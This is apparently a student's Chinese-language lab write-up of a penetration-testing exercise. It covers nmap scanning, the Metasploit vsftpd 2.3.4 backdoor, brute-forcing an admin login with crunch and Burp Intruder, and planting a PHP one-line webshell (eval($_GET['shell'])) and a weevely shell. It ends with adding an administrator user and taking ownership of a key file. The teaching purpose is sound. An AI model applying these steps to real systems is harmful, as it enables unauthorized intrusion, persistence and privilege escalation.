Ex1
任务一
扫描目标主机
ssh连接到kali实验机上 使用nmap扫描192.168.1.0网段的存活主机 可以看到通过Ping方法找到了网段中存活的三台主机,ip分别是192.168.1.2(操作机),192.168.1.3(目标机),192.168.1.4(目标机),实际上-sP选项在默认情况下并非仅仅发送ICMP包,而是发送一个ICMP回声请求和一个TCP报文到80端口。如果非特权用户执行,就发送一个SYN报文 (用connect()系统调用)到目标机的80端口。 当特权用户扫描局域网上的目标机时,会发送ARP请求(-PR)。使用这种地毯式Ping可以快速查看网段中的存活主机。
探测两台存活主机的端口和操作系统的相关信息可以使用-A选项分别对两台目标机进行全面扫描,目前这个选项启用了操作系统检测(-O) 和版本扫描(-sV),以及其他一些后续添加的扫描功能。考虑到目标机和操作机在同一网段下且网络通畅,故可以使用-T4参数加速扫描过程。对第一台目标机(192.168.1.3)进行扫描的结果为: 可以看到21(ftp),22(ssh),23(telnet),25(smtp),80(http)等端口对应的服务及其相关的信息,同时可以看到它通过smb脚本给出的对系统信息的总结为 这里它推测目标机系统为Unix,且可能为Debian,但根据上面的一些服务对应的信息如ssl-cert,http server对应的信息也可以推测该系统为ubuntu,有关信息为
对第二台目标机(192.168.1.4)进行扫描的结果为: 可以看出目标主机开放了80端口,以及该端口对应的服务的信息。同时给出了对该目标机系统的猜测:
对目标机进行攻击
在终端启动MSFCONSOLE,执行命令如下所示:
root@simpleedu:~# msfconsole
搜索所有有效的vsftpd模块 search vsftpd
,结果如下:
可见有一个有效的可用模块,且效果评级为excellent,这里我们注意到它给出了这样的提示
为了加快后续的搜索速度,我们重建cache
根据该模块可以看出该模块适用于vsftpd v2.3.4,根据之前端口扫描的结果可知 目标机对应的ftp服务正是vsftpd v2.3.4,我们载入这个模块并查看其用法 可见需要设定目标机地址和端口,我们设定好目标机地址为192.168.1.3 查找该模块可用的payload并载入payload 进行攻击,并查找扩展名为key的所有文件并查看1.key文件的内容 可知1.key中的内容为Metasploit
任务二
扫描目标机网站目录结构
nikto -h http://192.168.1.4 -c all
-h用于设定目标主机,-c用于扫描目录,这里为了后续实验需要进入图形界面环境,我们切换至图形界面并打开图形界面如下:
|
|
然后用Vnc viewer连接至操作机即可。扫描目录结构的结果如下: 由倒数第三行可知在存在admin/login.php文件即为该网站的后台管理界面。浏览器查看管理界面如下:
创建字典文件
使用crunch命令,生成一个每行以admin开头加3位随机数字共8位字符串长度的字典文件。 使用-t指定生成格式,用%代表数字,最小长度和最大长度都是8,这样会生成以admin开头加三位数字的所有组合,-o指定输出到/root/password.txt文件中,查看该文件可知 可见已成功生成所有组合。
破解密码
在操作机上进入网站后台管理界面,并设置代理。 打开burpsuit,在管理界面输入用户名admin和密码aaccdd(任意的),登入,此时burpsuit会拦截对应的数据包。可以查看到提交的用户名和密码 在此空白处右键,选择[send to intruder] 点击主菜单的[intruder]可见已经根据请求将目标主机ip和端口设置好了 在Intruder-Position中设置,将自动设置的position[Clear]掉,然后在请求中password的地方点击[Add]添加position,设置攻击类型为[sniper],这种模式会依次尝试你设置变量的地方,先对一个位置进行尝试,其他位置不变,然后再改变下一个位置。我们只有一个爆破位置,故使用该模式即可。 在Intruder-Payloads中设置攻击载荷,选择[load],将刚才生成的password.txt中的数据加载进字典列表 点击start-attack开始攻击 等待爆破完成点击[length]对结果进行排序,只有一个结果长度与其他不同,可查看其对应的response 状态码为302表示网页被重定向,很可能是登陆成功,在response中没有明显的成功信息。我们关掉burpsuit的包拦截,并使用这个密码(admin452)尝试登陆。 登陆成功
任务三
Webshell是黑客经常使用的一种恶意脚本,其目的是获得对服务器的执行操作权限,常见的webshell编写语言为asp、jsp和php。本次实验中使用php的webshell.
添加webshell
tag本是网站的一个插件,可以用于使用php编程,方便执行某些功能,但因system函数可以执行终端指令,故也可被用于执行一些恶意指令。首先利用这一特性查看当前网站在服务器上的目录
可知当前网站的管理页面目录为 C:\phpStudy\WWW\admin
,故可以使用echo指令向服务器根目录写入一个php文件,内容为一句话木马,即 eval($_GET['shell'])
,其中eval在php中为将参数字符串作为代码执行,$_GET变量用于收集来自 method=“get” 的表单中的值,我们将其写入到admin文件夹下,如下:
点击apply,run之后系统就会运行echo指令将一句话木马写入hack.php文件中,此时该文件的功能与1.php类似,都可以执行通过GET传递的命令。这里需要注意的地方是echo写入的字符串中< >需要转义,故应写为^< 和 ^>,且system函数的参数字符串中的\和’也需要转义,应写为\\和\’。此时我们尝试通过写入的php文件执行指令,可得:
可见已成功获得一个webshell。
获取端口号
执行指令 tasklist /svc | findstr "TermService"
(tasklist会列出所有进程及其使用的服务)获得远程桌面服务对应的进程PID
然后通过 netstat -ano | findstr "2140"
(netstat -a显示所有活跃或不活跃的端口及连接,-o显示进程PID便于查找)找到该PID对应的进程使用的端口号
可知端口号为45565
另外一种方法
除了利用命令写入文件,我们注意到网站后台提供了上传文件的功能,因此我们可以直接使用kali中的weevely生成一个有webshell的php文件并上传到网站后台,然后利用weevely连接。过程如下生成webshell 上传文件,将生成的webshell.php拖拽到此处 可以看到上传后的文件夹为uploads 利用weevely连接到webshell 可见连接成功
任务四
添加用户
执行命令使用任务三中利用weevely获取到的shell,通过网页webshell执行的命令相同,只是需要将命令放入system()中通过GET请求提交即可,有双引号要转义,这里用weevely的shell方便查看格式化输出的结果。 查看本机的所有用户 可见添加成功
将用户加入管理员组
查看管理员组信息 可见添加成功
以hacker用户身份登陆目标机
使用kali的rdesktop连接至目标机
更改2.key的权限
右击属性->安全->高级->更改文件所有者为hacker,如下: 给hacker赋予对文件的完全控制权限 用记事本打开文件,可以看到内容为zenmap